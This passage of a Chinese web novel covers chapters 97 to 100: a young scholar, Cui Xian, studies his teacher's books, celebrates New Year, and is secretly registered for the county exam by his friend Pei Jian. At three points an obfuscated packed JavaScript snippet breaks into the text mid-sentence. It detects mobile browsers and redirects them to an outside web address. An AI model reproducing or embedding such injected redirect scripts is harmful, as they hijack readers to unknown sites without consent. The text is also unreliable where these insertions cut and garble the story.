“你这么厉害,岘哥儿是随了您呐! 老崔氏被夸的一直笑。 裴坚趁热打铁:“您想想看啊,咱大梁王朝一百多年以来,最年轻的童生县案首,似乎是11岁吧。最年轻的状元郎,好像是21岁。 “咱岘哥儿,明年九岁,下场中县案首!全大梁王朝有史以来,最年轻的童生县案首,那不得轰动整个大梁。 “然后他再接着考,三年后,十二岁,吧唧,中状元了! “等上朝以后,陛下坐在朝堂上,眯起眼睛四处打量,疑惑道:咿?状元郎呢?咱家岘哥儿穿着绯红状元袍,小萝卜头似的,费劲挤开群臣钻到最前面去,大声道,我在这儿呢! “所以你看,就这手印,按不按吧! 他讲的绘声绘色,夸张到离谱,哪有12岁中状元的啊! 老崔氏和崔仲渊都乐 不可支,最后老崔氏一上头,贼兮兮道:“按一个,按一个!仲渊,咱自己私下讨个彩头!” 崔仲渊一想,看似按个文书,但其实没人联保、互保,又不呈交县衙,那其实就是废纸。 裴坚这孩子,总不能真敢去给岘哥儿报名。 于是半推半就,在裴坚的玩笑声中,按了一个手印。 裴坚欢呼出声:“九岁、县案首!全大梁都找不出第二个了!祖母,崔叔,你家得发达咯!” 老崔氏、崔仲渊想想那个画面,哎哟,美的龇着牙乐! 后来因为要忙着收拾新家,他俩没再特地留意这个事儿。 那张文书似乎也没想起随手扔哪了。 裴坚精明的很,又玩笑般打了个补丁:“祖母,崔叔,今天这事儿,可别跟岘弟说哦。他要知道咱编排他,指定不高兴。” 老崔氏笑的肚子痛:“你放心,祖母肯定不跟他说。” 裴坚放心了,拿着那两份按过手印的文书,悠哉悠哉离开。 出门的时候,刚好遇见崔岘回来。 他立刻警惕的把文书收起来,表情略显心虚:“咳,岘弟,回来啦?” “大哥?” 瞧见裴坚这副模样,崔岘眯起眼睛打量他:“你怎么看着有点不对劲,干什么坏事了?” 我去! 你是个人精吧! 裴坚轻咳一声,转移话题:“哎呀我能干什么坏事儿,我来找祖母聊天呢。走了走了。” 说完后,他赶紧开溜,生怕自己绷不住露馅。 看着裴坚狼狈离去的背影,崔岘表情狐疑,但一时间又没想明白怎么回事。 另一边。 东莱先生收到了老师郑霞生的信件。 信上,郑阁老大概意思是这样表述的:“咱家小崔岘,最近风头太盛了,你压一压他。帮他挡住外界干扰,让他潜心学习,咱们也借着这个时间,好生把他培养长大。” “他还小,暂时不让他一直处于**漩涡当中。等成长几年,再展露锋芒。届时可不仅仅是开台辩经,还要走科举仕途。” “让他接我们的班,集文坛领袖、内阁首辅为一身,咱们把他送上大梁人臣最高位去!” 东莱先生回想这段时间,小徒弟低调看书的场景,回信道: “老师,我办事你放心!咱家小崔岘,马上就要泯然于众人了!低调的很呐!” “一切出风头的事情,都跟他无关。” “他现在就是个平平无奇的八岁稚童罢了!” ? 97、过年咯(上) 因为裴坚耍了个心眼。 所以老崔氏、崔仲渊都没跟崔岘提裴坚让帮忙写身家清白文书、籍贯资料一事。 当然最主要的是崔家人自己也忙的不可开交啊! 这次搬进了大宅跟先前情况完全不一样。 每个人都在手忙脚乱的适应。 嗯……除了崔岘。 他现在完全沉浸在老师家的‘书海’当中彻底做到了物我两忘。 甚至因为没看完某本书干脆把书带回家一边吃饭一边翻阅。 “岘哥儿?” 听到祖母喊自己 便见不知何时桌上的餐食都被收走旁边放着一盏油灯。 外面天色已经完全黑了下来。 老崔氏笑着道:“哎哟你最近这一读起书来什么都给忘啦。快回房间吧今日搬家着急只把几间厢房收拾出来了你睡东边大屋。” “好的祖母。” 崔岘点点头合上手中的书拎起油灯回房。 虽说回去了但也没有休息他屋子里的灯一直亮到了后半夜。 住在隔壁的崔钰被卷的瑟瑟发抖。 作为‘小神童’的兄长他本就压力很大。最近阿弟废寝忘食的读书崔钰看在眼里自然慌得很。 半夜。 崔钰起来出小恭瞧见隔壁阿弟的房间还在亮着整个人一个激灵。 于是片刻后。 崔钰房间里的灯也亮了。 他本就不如阿弟聪明若是再不比阿弟努力那以后就彻底跟不上阿弟的步伐了! 对面厢房。 老崔氏的屋子也亮着灯。 她在满脸痛苦的算账请仆从要多少钱请几个。请管家要多少钱修缮花圃、房屋又要多少钱。 除此之外家里富裕了是不是还得再买辆马车? 那搬迁宴要怎么办开几桌席面? 算不明白完全算不明白啊! 当然崔家两个儿媳妇也没睡好。她们一想到即将要去参加什么赏花宴就忐忑的不行。 因为陈氏总翻身崔仲渊被吵醒了。 他拉开窗户,本是想看看外面什么时辰了。 结果好家伙! 娘、大哥崔伯山、钰哥儿、岘哥儿房间里的灯,都亮着呢! 这下,崔仲渊哪里还能睡得着啊? 当即点起油灯,开始‘奋战’! 一夜过去。 次日,其余崔家人神情恹恹起床。 唯有崔岘,虽然只睡了不到两个时辰,但整个人看起来精神抖擞。仿佛真的在茫茫书海里,汲取到了精神食粮。 还是大补的那种! 等岘哥儿吃过早食,神采奕奕的背着书箱出门后。 全家人苦兮兮对视,无语凝噎。 怎地岘哥儿不仅聪慧,甚至连体力都这般远超常人呢? 老崔氏一咬牙,非常有气势的说道:“看到了吧,咱家,都要向岘哥儿看齐,使劲努力。谁敢给岘哥儿拖后腿,别怪我家法处置!” 咿? 崔伯山好奇道:“咱家还有家法呢?” 老崔氏神情一梗:“大户人家有的,咱家都得有!马上就要请仆从了,不提前定下家法,那以后日子还不得乱套了!” 嗯……这话其实很有道理。 但现在这么多事情要忙,还得定家法。 全家人佩服又崇拜的看着老崔氏,心想,娘不愧是娘,厉害啊! 老崔氏得意接受儿子、儿媳们的赞叹。 全然忘了自己昨天晚上崩溃的时候,有多狼狈。 另一边。 崔岘来到老师的小院,跟罗爷爷打过招呼,而后继续看书。 这是他上辈子考研读博练出来的本事。 两眼一睁,就是学。 只要学不死,就往死里学! 而且说实话,崔岘已经很久没有这种踏实学习、汲取知识的爽感了。 穿越来以后。 为了谋生,为了扬名,为了带着全家人过好日子。他做了很多事情,一步一步地筹划。 但现在,有大宅安家,有名望、有背景,有名师。 他终于可以暂时不用考虑任何身外之物,而专注于学习本身。 这种感觉……真的很爽。 崔岘虽说储藏 着上辈子的学识。 但来到这个陌生的朝代,仍旧需要阅读大量藏书,汲取这个时代各种知识,充实自我。 方能做到真正的,集百家之长,成一家之言。 他崔岘,既然要去铸高台辩经,自然要先‘拿下’这片茫茫书海! 院子里。 看着小徒弟手不释卷,物我两忘的模样,东莱先生一开始非常欣慰。 后来有点嘀咕,这样学,真的没问题吗? 再后来。 东莱先生:孩子,你歇一会儿吧,别学了,为师有点害怕! 因此东莱先生每隔上俩时辰,就会过来‘打断’崔岘一番。 一开始崔岘有些不开心。 但东莱先生是个很好的老师,也很会传授学问。 不管崔岘在读哪本书,他都能知道其中的内容,并且出几道扣题的八股时文。 比如今日,崔岘在读的书,是《大学衍义》。 这本书,主要阐发《大学》的思想,强调修身持家治国平天下。 东莱先生略作思索,出了一个题目:“论诚意正心为治国之本。 没等崔岘思索着该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088388|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如何作答。 东莱先生便自己开始破题:“盖治国之道,莫先于治心;治心之要,莫切于诚意。 而后,他更是不用笔墨。就这样随意坐着,口述,讲了一篇八股文。 不愧是文坛领袖,这般本事,实在令人叹服。 东莱先生自顾自讲完了,也不问弟子听明白没,说道:“你且继续看书吧。 崔岘就低头继续看。 大儒教导弟子,也是讲究方法的。 比如东莱先生从不给弟子布置作业,甚至不会特地提问问题。 他把自己所有的藏书,都拿到徒弟面前,让他自行去翻阅、汲取。 然后自己作刘校,不管崔岘读到哪一本,他都能引申到辩论、八股文上面,先出题,再给出解答。 崔岘只负责看,负责听,负责写。 每日雷打不动,一个时辰的练字,也是必须的。 常言道:山中无岁月。 但其实这方小院,在崔岘眼里,也短暂失去了岁月。 作为一个现代人,他来到这个陌生时代,化身一块干燥的海绵,贪婪地汲取知识。 塞满房屋的藏书,一本,又一本被他翻阅。 他看的书越来越多,眉眼也越来越清亮。 世界仿佛变成了黑白两色,他游走其中,陶醉其中。 直到某日。 崔岘在看书的时候,没来由突然笑着说道:“我喜欢今日。” 东莱先生微怔。 仆从老罗好奇问道:“为何,今日有什么好事吗?” 崔岘继续看书,头也不抬的高兴说道:“今日天好似格外亮堂,一直亮堂着,看了好久的书,天都没黑。” 东莱先生和仆从老罗都愣住了。 而后,东莱先生看似抱怨,实则骄傲的感慨道:“老夫好好的聪明乖徒弟,竟读书读成了一个痴儿。” 仆从老罗忍住笑意道:“小公子,不妨抬头看看呢?” 崔岘闻言疑惑的从书本上抬起头,然后眼睛倏然瞪大。 因为外面,是白茫茫的一片雪。 他欣喜的放下书,来到院子里。雪花簌簌落下,不一会儿,便撒了他满身。 少年鼻尖冻得发红,站在雪地里,笑的眉眼弯弯。 原来在他埋头读书的这段日子,日子悄然流淌而过。 秋去,冬来。 时间即将迈入大梁王朝嘉和十七年。 距离他穿越过来,已经一年了。 回望这一年,他开启了新的生活,有了家人,朋友,老师,和满身光环。 他已经完全融入大梁,成为这个王朝的一份子。 实现了一场,独属于他自己的完美新生。 ? 98、过年咯(下) 这场雪断断续续下了小半个月。 虽然天气寒冷但街道上往来的百姓们都一副喜气洋洋的姿态。 因为马上便要过新年了。 劳累辛苦了一整年也就这个时候能安心舒坦享几天清福咯。 崔岘照旧在屋子里看书。 东莱先生掀开帘子走进来说话的时候嘴巴里冒出白气:“马上都过年了还看呐?别看了别看了。” “哪有小孩一直没完没了看书呢?你出去玩一玩逛一逛歇歇眼睛。” “我看你那几个朋友最近每天都眼巴巴来门外寻你呢。” 崔岘闻言恋恋不舍把书放下朝着老师拱手而后走出院门。 外面路上的雪还没化但行人很多。 大家都忙着置办年货拎着各种采买来的东西笑闹声、商贩叫卖声不绝于耳格外热闹。 崔岘略显茫然的站在人群中一时间有点不知道要去做什么。 最近这段时间一头扎进书海里每日安静读书骤然来到喧嚣的环境中竟多少有些无所适从。 正在这个时候。 砰! 一个雪球刚好砸到崔岘后脑勺。 雪花飞溅落在脖颈里凉的他一个激灵。 再然后他便同时被好几个人扑了过来拦住肩膀。 “哈哈还真是岘弟你。” “刚才我在远处瞧见 “岘弟吃冰糖葫芦。” “说起来感觉好多天都没见岘弟你了啊。” 围上来的除了裴坚、李鹤聿、高奇、庄瑾四人还能有谁? 冬日寒冷。 他们穿着厚厚的衣衫脖子上戴着围领瞧起来有些憨态可掬的臃肿。 崔岘正欲开口嘴巴里便被塞了一个冰糖葫芦:“大哥……唔……” 裴坚笑嘻嘻看着他道:“今日小年你应该不会还要看书了吧?咱们兄弟多久都没聚了!说好的去了东莱先生那里以后会经常找我们来玩。” “结果倒好根本见不到你人影儿!” 庄瑾三人纷纷表示赞同,一起控诉崔岘。 但控诉归控诉,揽着人家肩膀的手,却始终舍不得撒开。 崔岘咬了一口嘴里的冰糖葫芦,又甜又脆又冰凉。 咽下去以后,感觉整个人都从迷糊状态中清醒过来了。 他反手揽住几位大哥,笑嘻嘻讨饶:“是小弟不懂事了!这样,今日小弟什么也不做,专陪几位大哥开心!想吃什么,想买什么,小弟来结账! 哦豁! 听到这般豪爽话语,裴坚几人都欢呼出声,纷纷表示要‘宰大户’。 然而,当兄弟几人在摊位上,挑选了一些爆竹,等着大户结账的时候。 崔岘从怀里掏出一本书。 他愣住片刻,去袖子、腰间去掏,结果掏出来的,是几本不同的书。 这就尴尬了。 崔岘抬起头来,神情讪讪。 裴坚很是无言,笑嘻嘻付了银钱,还不忘戏谑道:“岘弟,你现在越发像个书呆子啦! 几人拿着爆竹,在空旷的雪地里点燃,而后纷纷撒腿就跑。 砰的一下,雪花飞溅。 跑得最慢的庄瑾被喷了一脸雪,怒道:“裴坚,你故意的吧! 裴坚满脸无辜:“我不是,我没有! 他俩当场就闹腾起来。 崔岘费了好大劲,才成功从中调和。 最后闹到没力气了,五人干脆就地一躺,并排睡在雪窝窝里,看着天空发呆。 冬日寒冷,呼出来的气息,都是白色的。 他们几个突然不说话,崔岘觉得有些奇怪。 他护住手中的书,避免被雪沾湿,下意识问道:“几位大哥,我最近忙着读书的时候,你们在学堂,没有偷懒懈怠吧? 四人稍作沉默。 随后裴坚第一个不满道:“这是什么话!我们怎么可能偷懒!吴清澜那厮,最近都快要把我们夸成一朵花了! 庄瑾、李鹤聿几人纷纷附和:“是极是极! 这种骗鬼的话,你们也好意思说出口。 崔岘很是无言,但想着大过年的,便没有深究,笑道:“士别三日当刮目相待,几位大哥,实在让小弟佩服! 几位少爷闻言得意洋洋表情嘚瑟至极。 这一日他们在外面痛快疯玩了一天。 到晚上的时候各自分别。因为今日是小年得早些回家。 “大哥们我回去了啊!” 崔岘挥手和他们告别转身以后一边往回走一边下意识翻开手中的书边看边走。 裴坚、李鹤聿、庄瑾、高奇四人目送他回家方才佯装起来的高兴刹那消失不见。 变成了低落、自嘲、和难受。 裴坚说的那话自然是假的。吴清澜没有夸赞他们反而最近又开始骂他们朽木。 每次考试都会被骂。 因为学得一塌糊涂考的一塌糊涂。 八股文这种东西难的犹如一座无法翻越的高山让四位小少年畏惧又绝望。 庄瑾看着崔岘边读书边远去的背影难受道:“再过几年咱们跟岘弟怕是连一起玩的机会都没了。他注定要走出南阳去见识更广阔的天地把咱们远远甩在身后。” 高奇、李鹤聿神情恹恹。 唯有裴坚脸色很难堪喃喃道:“就算是这样又如何?反正……反正以后岘弟就算是中状元了也得有我半份功劳!不管他在外面多厉害 “哪怕他以后不认我这个大哥了我脸皮厚我认他!” 啊这。 听到他这话庄瑾等人还以为他是在说气话呢也没当真。 另一边。 崔岘赶在傍晚之前回了家。 瞧见他回来一位仆从殷切来问候:“小少爷回来啦!” 如今崔宅日子也好起来了请了六个仆从一个管家。 虽然不多但也勉强能帮忙打理这么大的宅子。 在老崔氏磕磕绊绊的带领下一家子的日子肉眼可见的开始变得安定安稳红火。 “岘哥儿你可算回来了我还说准备让人去寻你呢!” 瞧见崔岘老崔氏赶紧说道:“快来快来咱得先祭灶。吃过饭后还得照虚耗拜见万回哥哥好多事情哩!” 崔岘笑道:“来咯。” 祭灶就是拿麦芽糖、杂色米饼、鸡鸭鱼肉等美食先给灶 王爷享用。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088389|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灶王爷用过了,一家人才能开始吃。 吃过饭,要早早休息,并且在床底放一盏油灯。 据说虚耗是一种鬼,所到之处呢,那里的人就会损失财产、库藏虚空。因此,照了虚耗,来年就可以财源广进。 至于万回哥哥,代表着团圆之神。 老崔氏很信这个,因此反复交代一大家子,床底下的灯不能灭,祭拜万回哥哥的时候,一定要心诚。 这样咱崔家,才能财源广进、团团圆圆呐! 小年一过,眨眼便到除夕。 以前在河西村的时候,日子穷,也不讲究什么守岁。但现在日子好了,一家人坐在一起,多热闹啊! 除夕夜这天。 老崔氏带领几个仆从们,准备了一大桌消夜果,点燃起火炉,在正房大厅堂里守岁。 夜深了,外面还在下雪。 厅堂里数盏清亮油灯,将屋子照的十分亮堂。 桌案上,摆满了各种细果、十般糖、澄沙团、韵果、蜜姜豉、皂儿糕、市糕等等,琳琅满目,不一而足。 火炉烧的正旺,暖呼呼的。 老崔氏抱着小孙女,看着这一大堆吃食,忍不住又开始感慨:“哎哟,现在这神仙日子,以前哪敢想啊!” 大概是人老了,就总是喜欢回忆从前。 但从前的回忆都是苦的,现在,全都是甜的啊! 陈氏捏了个蜜饯放进嘴里,笑着附和:“是吧,以前总觉得,日子什么时候是个头。现在觉得,日子远远看不到头,因为好日子都在后面呢。” 一家子人都笑,神情格外惬意。 然后又开始夸岘哥儿这个带飞全家的大功臣。 崔岘被夸得赧然。 大概是日子好了,舒心话怎么聊都聊不完。大家坐在一起,唠了大半夜,都还一直兴奋着。 等到天蒙蒙亮的时候。 老崔氏最先反应过来,嚷嚷道:“快快!老大老二,打堆灰!” 崔伯山、崔仲渊兄弟俩,便赶紧拿起绑着铜钱的竹竿,拍打炉火灰堆。 这意味着来年顺顺利利,心想事成。 等打完灰堆,天也擦亮了。 这个时候,各家各户都不会睡觉,而是急忙去贴门神钟馗。 为的是把恶鬼、穷鬼都挡在门外。 贴完了以后,一家子就站在院子里等。 等街道上传来梆子声,便是县衙、府衙的官老爷们,已经率先放过爆竹了。 轮到百姓们开始放了。 老崔氏道:“璇姐儿、钰哥儿、岘哥儿,站远点!老二媳妇,捂住咱家小胖丫的耳朵。点爆竹咯!” 崔伯山点燃了爆竹。 噼里啪啦! 院子里一片热闹红火,冒起烟尘。 不仅崔家,整个南阳,乃至大梁,都被爆竹声弥漫。 看着那**的爆竹,一家人笑的合不拢嘴。 哎呦,以前怎么没觉得,这爆竹声,听起来这么红火哟! 在热闹的爆竹声中,新的一年来临。 再翻过元旦,一眨眼冰雪消融,桃花盛开。 大梁王朝嘉和十七年的童生试,要开始了。 ? 99、岘弟,你替大哥去考科举吧! 童生试即将开始的前几天。 突然有个传闻,在南阳县城里小范围流传。 听说啊,小神童要下场考科举了。 传话的人说的有鼻子有眼,声称自己三舅的姐夫的叔公家的小孙子,跟小神童一起互相联保了。 但崔岘满打满算,才开蒙学习一年时间而已。 这就准备科举啦? ……是不是太草率了点! 有后宅的夫人想打探消息,便攒了个宴会,请崔家两位夫人来,暗搓搓询问。 对此,陈氏当场在线辟谣:“假的。” 林氏也信誓旦旦道:“别信。” 孩子还小,正在认真学习。 别搞! 仲景巷,东莱先生的小院里。 老先生怔怔的看着自己的小徒弟,呆滞道:“你刚才说什么?” 崔岘眨眨眼,重复道:“老师,弟子把这些书都读完了,您还有别的书吗?” 不是……这么大几屋子的书,你读完了? 东莱先生呆住片刻,没敢说自己给徒弟预计的读书时间是一年。 结果好家伙,徒弟不到半年就读完了! 你这样,让老师很是猝不及防啊。 他轻咳一声,开始故意挑毛病:“读的这么快,内容肯定没有巩固的很娴熟吧?为师跟你说,学习一事,肯定不能囫囵吞枣。比如……” 说着。 东莱先生随手捡起一本书,翻开,念道:“客谓顾子曰:子所著……” “这本书是《读史方舆纪要》。” 崔岘几乎没有任何思考,脱口而出道:“客谓顾子曰:子所著《方舆纪要》一书,集百代之成言,考诸家之绪论。穷年累月,矻矻不休……” 他背诵的十分丝滑流畅,几乎没有任何停顿。 东莱先生很是吃惊,不信邪般又拿起一本书翻开:“文之不可绝于天地者……” “这本书是《日知录》。” 崔岘再次迅速道:“文之不可绝于天地者,曰明道也,纪政事也,察民隐也,乐道人之善也。若此者,有益于天下,有益于将来……” 东莱先生傻了。 其实博览群书,甚至能背 诵出很多书,在这个年代很常见。 包括东莱先生自己,也是博闻强记的佼佼者。 问题是,他钻研了一辈子啊! 崔岘才读了多久? 愣愣看着自己的小徒弟,东莱先生突然不确定问道:“为师记得,当初为师给你布置的课业,是读完这些书,对吧? 崔岘点点头,认真道:“是的,弟子读完了,所以就会背了。 东莱先生:? 不是?这对吗?! 老夫行走文坛多年,见过无数天才,但真没见过天才到你这样地步的。 你究竟是什么恐怖的学术怪物啊! 东莱先生心中震惊,脸上却异常平静:“会背了是吧,挺好的。为师给你放半个月假,你休息休息,去外面撒撒欢,去热闹的人群里露露脸。 “半个月后,为师正式开始给你授课。 只读死书,肯定是不行的。 书读完了,会背了。 那接下来就要剖析深意,反复辩证,然后彻底将其变现成属于自己的学识。 放假?露脸? 崔岘闻言无奈道:“老师,您不是说,让弟子沉淀下来学习,在外保持低调吗? 啊对对。 你在外保持低调,所以在这小院子里尽情高调,秀为师一脸是吧? 有没有一种可能。 你这样的天才妖孽,就跟‘低调’俩字不沾边呢?! 东莱先生勉强挤出一个笑脸,只觉得甜蜜又惆怅:“你……尽量低调吧。但若是实力不允许,那就没办法了。 “为师突然觉得,让你保持低调,也挺为难你的。 崔岘:“…… 而后。 不等崔岘回话,东莱先生便将徒弟赶出了小院。 当天,东莱先生带着仆从老罗离家,急吼吼去联系自己的朋友圈:急急急,谁家还有不要的珍贵孤本藏书,拿来让我徒弟瞄两眼! 另一边。 被‘赶出去’的崔岘,无奈归家,却在自家门外,碰见了醉醺醺的……裴坚? 崔岘差点以为自己看错了,吃惊道:“大哥,你喝酒了? 瞧见崔岘。 裴坚 红扑扑的脸上浮现出一抹傻笑:“岘弟大哥有个事儿想跟你说。” 崔岘走上前搀扶住他无奈道:“什么事儿啊?” 裴坚嘿嘿道:“大哥给你报了个童生试 崔岘闻言盯着他笑。 裴坚不说话也看着他笑。 崔岘缓缓收起笑容:? 见崔岘这般模样裴坚缩了缩脖子蹲下来蜷缩在墙脚瑟瑟发抖。 崔岘深吸一口气:“裴坚直视我的眼睛。” 裴坚梗着脖子抬起头来朝他露出一个讨好的笑容:“也不是什么大事儿对吧。你你就当去替大哥考一次科举好了。” ……人怎么能捅出这么大的篓子? 崔岘揉了揉额头:“我要是想去考科举我自己会去报名你为何要替我报名?还有科举报考流程繁琐你怎么做到的?” 于是。 裴坚便老实把自己骗老崔氏、崔仲渊写清白身家自述文书、按手印等事情一一和盘托出。 崔岘追问道:“那联保、结保文书呢?” 裴坚小声道:“一般人肯定办不到但你是小神童啊。他们一听说可以跟你联保高兴的晕晕乎乎当场就同意了。” “……” 不愧是你啊裴坚。 这个事情真的相当严重了毕竟关乎科考不是闹着玩儿的。 崔岘脑子里迅速思考该怎么填补这个窟窿但面上却不动声色问道:“那你说说吧为什么要替我报考?” “还要把自己喝的醉醺醺的才敢来见我。” 裴坚闻言呆了呆。 他靠在墙边也不敢去看崔岘嗫嚅道:“你……你就当我还是那个爱闯祸的愚笨纨绔人人嫌弃的朽木大哥吧。反正我一直都是这样的臭德行永远扶不上墙。” 崔岘在他旁边蹲下平静‘嗯’了一声。 裴坚很是受伤:“你怎么这样啊?” 这次崔岘干脆没理他。 裴坚就慌了他噌的一下站起来声音里带着一点哭腔:“我我也不知道自己是不是有什么毛病脑子一热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088390|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就这么干了!给你报完名我就慌得不行。” “这几天我都没睡好反复去 打听,确定这个事情没有违反律法,不会让你受到牵连。” “有时候我在想,我这样的朽木,走了什么狗屎运,能跟你做兄弟。” “去年一起写《虹猫》的时候,我真的以为自己变好了,能读进去书了。我甚至想着,咱们兄弟一起,去闯荡出一番功绩。” “可是我发现,我好像真的不行。” “你在课堂里不管学什么,一学就会。你能作诗,读过的书信手拈来,张口就能引经据典。连名儒东莱先生都收你为徒,为你举办收徒宴,百家名门为你恭贺。” “当时我站在旁边,激动的不停为你鼓掌,可是……可是我也很难受。高奇、庄瑾他们,都很难受。” “他们还总是说,说以后你越来越厉害,把我们甩的远远地。我听到这话就很烦,想试着追赶上你!可是那个八股文,我越学越吃力。” “白天在族学上课,晚上我祖父给我补课,天天学到半夜,但还是不行,始终学不明白。” “我祖父气的一直骂我,到了族学,每次考试后,吴清澜也要骂我。我也搞不懂,自己怎么这么废物啊。” “我甚至现在一听到考试,整个人都直哆嗦,害怕的开始干呕,吃不下饭。” 说到这里,裴坚有些哽咽。 他擦了一把眼泪,看向崔岘,说道:“所以,我把自己的报考文书偷偷丢掉,把你的交上去了。岘弟,我想着,要是以后再也没办法跟你做兄弟了,那不如,我替你报个名。” “你还小,就算考不中,也能熟悉一下考场,好歹不浪费一次考试的钱。” “就当你替大哥我去考试了。” “将来有一天,你中状元了,那大哥跟着沾沾光,好歹能占一点功劳。就当大哥最后一次,再为你做点事情吧。” “反正大哥这辈子是没指望了,你替大哥中状元,替大哥去外面的世界耀眼发光。” “但你到时候见了大哥,可别不认我啊!因为就算我脸皮厚,我也会难受的。” 他越说哭嚎的越厉害,眼泪豆子不停往下掉。 也难怪来找崔岘之前,他选择喝了点酒。这种矫情的话,平时只敢憋在心里,哪好意思往外说? 崔岘一开始还认真听着呢。 可越听越无语,甚至有点想笑。后来实在没绷住,在旁边吭哧吭哧直乐。 原来青春期叛逆小男孩的心路历程,竟会这般曲折复杂。 跟傻子似的。 不过,这倒是也提醒了崔岘。 他走的太快,身边的家人、朋友们,想来都很有压力,其中以裴坚表现的最为应激。 所以才搞了今天这么一出。 看来,‘全家扫盲班’、‘科举辅导班’、‘五年科举三年模拟’之类的,要趁早提上日程了。 裴坚红着眼睛,茫然的看着他。 崔岘拍了拍衣袍站起来,道:“行了,知道了,你回去吧。” 说罢,他独自回府。 徒留裴坚待在原地,神情忐忑又慌乱。 不是,你好歹给句准话。 知道了,是什么意思啊? ? 100、进考场 回到家后。 崔岘唤来一个仆从,说道:“你走后门出去,躲着裴坚少爷,把裴家老爷子请来。 等仆从去了以后,崔岘叹了口气。 说实话裴坚方才那番话,他听进去了。 大哥看似纨绔混不吝,实则心思也有些敏感,难怪最近这段时间,总是隐约觉得他有些不对劲。 但这是科举,不是闹着玩的。 帮大哥补习的事暂且放一放。 崔岘不能跟着他胡闹,至少这事儿,得跟裴家老爷子提前知会一声。 裴老爷子殷勤辛苦教导孙子,劳心劳力给小孙子操办科举事宜,最后崔岘去考试了。 这算怎么回事儿? 一个搞不好,两家就要成仇人了。 不久后,裴崇青疑惑赶来:“岘哥儿,怎地了这是? 崔岘朝对方歉意鞠躬,把裴坚办的离谱事情,一一明说。 裴崇青眼前一黑,差点没晕过去,气的直哆嗦:“逆子!逆子啊! 崔岘适时说道:“是吧,我也觉得大哥做的太过分了!裴祖父,您要不把人带回去,揍一顿?您揍完了,消消气,大哥肯定也知道错了。 这其实就是隐隐在替裴坚求情了。 裴崇青压下怒意,朝崔岘道:“岘哥儿,祖父也得跟你道个歉。裴坚这厮,向来无法无天。老夫多次跟他强调,科举事大不容乱来,他还敢这般胡闹! “若是不借着这件事,狠狠让他长个教训,他以后指不定要闯出什么滔天大祸来呢! 崔岘点点头,严肃道:“确实,祖父,您要不把他打死吧! 裴崇青闻言,虽然心中满是怒火,但仍旧没忍住笑出声:“唉,岘哥儿。裴坚那厮能有你这样一个好兄弟,是他的福气。 “他这个样子,我是真生气,又心疼。以后,你多开导开导他,让他跟你好好学。算是祖父厚着脸皮,求你了。 崔岘抬起头来,认真道:“岘当初囿于贫困,全凭大哥扶持,才能走出乡野泥沼。祖父您不必客气,就算您不说,我也不会置大哥于不顾。 “能有大哥做兄弟,也是岘的福气。他只是一时拧巴,没有想通,我会帮他走出这一难关的。 裴崇青很是欣慰感慨。 老爷子也认真道:“有你这句话我便放心了。老夫知你将来必定青云直上你愿拉着坚哥儿一起是他的造化。但作为长辈老夫不能让你被这小纨绔所连累。” “他12岁了也该知道什么能做什么不能做。做了事情就要承担后果。希望经历过这件事后他能成长起来。” “老夫把他教导好了届时他跟着你我也能更安心些。” 看来大哥免不了要被教训一顿了。 没等崔岘求情。 裴老爷子又冷哼一声:“岘哥儿既然那小纨绔想让你去考试你就如他所愿‘替他’去考吧。” “就当提前去适应一番考场为以后的科举仕途做准备。但你得答应祖父一件事。” 崔岘道:“祖父请讲。” 裴崇青咬牙道:“你考完以后找个地方待几天。我跟那小子说他替你报名一事遭人举报衙门把你抓进去了。” 好家伙这是不是有点太狠了? 崔岘咂舌道:“一定要这样吗?” 裴崇青点头:“好让他长个教训!岘哥儿你莫要多想安心去科考吧祖父走了。” 说完后他转身离开。 但这个时候的裴崇青根本没想过崔岘是否能中榜。 才开蒙一年的孩子哪怕天资聪慧能信手拈来写诗。可做八股写策论跟写诗完全不一样啊。 显然这肯定是不会中的。 有了裴崇青的首肯崔岘才认真开始思索是否参加科考一事。 但他还是得跟老师知会一声。 然而等赶去仲景巷以后才发现老师带着罗爷爷外出了。 那这个童生试要去考吗? 崔岘转身往回走认真思索着这件事。 街道上行人熙熙攘攘。 他走在其中看着满街的烟火气心中逐渐有了答案。 崔岘承认 在老师的院子里埋头苦读甚至快要把自己读成‘书呆子’为的是什么呢? 不就为了参加科考博取功名吗? 他听从老师的并不刻意去出风头。但不代表着他还得刻意去躲着风头。 广读圣贤书,养浩然气于胸,携一往无前之势,方能青云直上。 想通了这些。 走在烟火街道里的小少年,脊梁越发笔挺,眼神越发清亮,步伐越发坚定。 近半年苦读,缭绕在他周身的迷糊、茫然,尽数消失不见。 那大量的书籍,知识,非但没有困住他。 反而为他铸就了一柄无上剑鞘。 而他崔岘本身,就是那把最锋利、刺目的耀眼神剑。 